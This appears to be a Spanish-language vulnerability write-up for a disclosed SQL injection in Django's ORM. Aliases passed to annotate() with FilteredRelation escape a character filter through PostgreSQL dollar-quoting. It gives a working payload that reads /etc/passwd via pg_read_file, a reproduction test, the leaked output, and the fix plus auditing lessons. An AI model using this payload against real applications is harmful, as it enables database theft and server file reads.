Resumen
El ORM de Django comprueba los nombres de alias con una expresión regular, FORBIDDEN_ALIAS_PATTERN (en django/db/models/sql/query.py), que rechaza los caracteres peligrosos. El investigador relaciona este fallo con dos anteriores, CVE-2025-57833 y CVE-2025-59681, porque nace del mismo problema: ese filtro estaba incompleto y no incluía el símbolo $.
En PostgreSQL, $ sirve para escribir cadenas literales sin comillas (dollar quoting): $$texto$$ o $etiqueta$texto$etiqueta$. Si una aplicación usa como alias de annotate() con FilteredRelation (y luego select_related()) un texto que viene del usuario, ese alias acaba pegado tal cual en varios puntos de la consulta. Abriendo y cerrando etiquetas $a$, $b$, $c$… el atacante consigue que los trozos de SQL que Django genera entre una aparición y otra se interpreten como simples cadenas, y que lo que queda fuera sea SQL suyo.
El reporte, enviado el 9 de noviembre de 2025 y divulgado el 2 de diciembre de 2025, está marcado con severidad alta.
Pasos de reproducción
- Levantar un PostgreSQL de pruebas en Docker:
docker run --rm -it --net=host --name some-postgis -e POSTGRES_PASSWORD=[REDACTADO] -d postgres
- En el código fuente de Django, cambiar
tests/test_sqlite.pypara que la batería de tests use ese PostgreSQL:
DATABASES = {
"default": {
"ENGINE": "django.db.backends.postgresql",
"NAME": "django",
"USER": "postgres",
"PORT": 5432,
"HOST": "localhost"
},
}
SECRET_KEY = "[REDACTADO]"
- Añadir este test dentro de la clase
FilteredRelationTestsentests/filtered_relation/tests.py. La variableuser_datahace de entrada del usuario usada como alias:
def test_sqli(self):
user_data = "$a$,$b$,$c$,(1)from(select(1)id,(pg_read_file($$/etc/passwd$$))title,(3)author_id,(4)editor_id,(5)number_editor,(6)editor_number,(7)state)filtered_relation_book,(select(1),1"
qs = (
Book.objects.annotate(**{
user_data: FilteredRelation(
"editor" ),
})
.select_related(user_data)
)
try:
import django
for e in qs.all():
print("######### Injected #########")
print(e.title)
print("############################")
except django.db.utils.ProgrammingError as e:
print(f"------\n{e}")
- Ejecutarlo:
cd django/tests
python3 runtests.py filtered_relation.tests.FilteredRelationTests.test_sqli
- En el campo
titleaparece el contenido de/etc/passwddel contenedor de PostgreSQL:
######### Injected #########
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...
postgres:x:999:999::/var/lib/postgresql:/bin/bash
############################
Por qué funciona
Django escribe el alias cuatro veces en la consulta: en la lista de columnas (alias."id", alias."name"), como alias del INNER JOIN y en la condición ON. La consulta completa que se ejecutó fue:
SELECT "filtered_relation_book"."id", "filtered_relation_book"."title", "filtered_relation_book"."author_id", "filtered_relation_book"."editor_id", "filtered_relation_book"."number_editor", "filtered_relation_book"."editor_number", "filtered_relation_book"."state", $a$,$b$,$c$,(1)from(select(1)id,(pg_read_file($$/etc/passwd$$))title,(3)author_id,(4)editor_id,(5)number_editor,(6)editor_number,(7)state)filtered_relation_book,(select(1),1."id", $a$,$b$,$c$,(1)from(select(1)id,(pg_read_file($$/etc/passwd$$))title,(3)author_id,(4)editor_id,(5)number_editor,(6)editor_number,(7)state)filtered_relation_book,(select(1),1."name" FROM "filtered_relation_book" INNER JOIN "filtered_relation_editor" $a$,$b$,$c$,(1)from(select(1)id,(pg_read_file($$/etc/passwd$$))title,(3)author_id,(4)editor_id,(5)number_editor,(6)editor_number,(7)state)filtered_relation_book,(select(1),1 ON ("filtered_relation_book"."editor_id" = $a$,$b$,$c$,(1)from(select(1)id,(pg_read_file($$/etc/passwd$$))title,(3)author_id,(4)editor_id,(5)number_editor,(6)editor_number,(7)state)filtered_relation_book,(select(1),1."id")
Cada $a$, $b$ y $c$ de la primera aparición se cierra con el de la siguiente, de modo que todo lo intermedio se convierte en tres cadenas inofensivas. Lo que PostgreSQL ve en realidad es esto:
SELECT "filtered_relation_book"."id", "filtered_relation_book"."title", "filtered_relation_book"."author_id", "filtered_relation_book"."editor_id", "filtered_relation_book"."number_editor", "filtered_relation_book"."editor_number", "filtered_relation_book"."state", $a$...$a$,$b$...$b$,$c$...$c$,(1)from(select(1)id,(pg_read_file($$/etc/passwd$$))title,(3)author_id,(4)editor_id,(5)number_editor,(6)editor_number,(7)state)filtered_relation_book,(select(1),1."id")
El FROM original ha quedado dentro de una cadena y lo sustituye una subconsulta del atacante que se llama también filtered_relation_book y devuelve en title el resultado de pg_read_file().
Impacto
Una aplicación Django sobre PostgreSQL que deje al usuario decidir el nombre de un alias en annotate() con FilteredRelation queda expuesta a inyección SQL. Según el investigador, eso permite extraer datos de la base de datos, leer ficheros del servidor de base de datos (lo que demuestra la prueba con /etc/passwd) o incluso llegar a ejecutar órdenes en él.
Remediación
La corrección propuesta en el reporte es añadir el símbolo $ a la expresión regular FORBIDDEN_ALIAS_PATTERN, para que cualquier alias que lo contenga se rechace antes de construir la consulta. El reporte figura como resuelto.
Qué aprender de este caso
- Si revisas una aplicación Django, busca llamadas a
annotate(**{...}),alias(**{...})oselect_related()cuyas claves salgan de parámetros de la petición (filtros u ordenaciones dinámicas): el nombre del alias es SQL, no un dato. - Las listas negras de caracteres dependen del motor:
$es inocuo en otros motores, pero en PostgreSQL abre una cadena. Al auditar un filtro así, repasa la sintaxis de citado propia de cada base de datos soportada. - Un valor que aparece varias veces en la misma consulta multiplica las opciones del atacante: con varias apariciones puede "puentear" el SQL intermedio convirtiéndolo en literal.
- Al programar, no uses texto del usuario como identificador; si hace falta, tradúcelo desde una lista cerrada de alias permitidos.